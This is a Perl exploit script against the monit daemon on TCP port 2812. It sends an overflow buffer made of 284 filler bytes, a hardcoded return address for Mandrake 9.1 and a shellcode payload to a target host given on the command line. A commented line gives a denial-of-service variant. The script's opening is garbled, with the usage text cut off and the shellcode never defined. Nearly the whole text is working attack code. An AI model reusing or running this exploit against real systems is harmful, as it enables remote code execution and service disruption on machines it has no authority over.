#!/usr/bin/perl
                              #
                              # monit \n\n";
                              exit(0);
                              }

                              print "HOST:\t$ARGV[0]\n";
                              print "PORT:\t2812\n";


                              my $buffer = "B" x 284 . "\xcf\x89\xb3\x40" . $shellcode; # esp mandrake 9.1
                              #my $buffer = "A" x 284 . "XXXX" . "B" x 100; #dos and debug

                              print "connecting to server...\n";

                              $socket = IO::Socket::INET -> new( PeerAddr => $ARGV[0],
                                  PeerPort => 2812,
                                  Proto    => "tcp");
                              if(!defined($socket))
                              {
                              print "could not connect :-P\n";
                              sleep(1);
                              exit(0);
                              }

                              print "connected\n";
                              sleep(1);
                              print "sending string\n";
                              print $socket $buffer;

                              close $socket;
                              print "\ndosed!\n";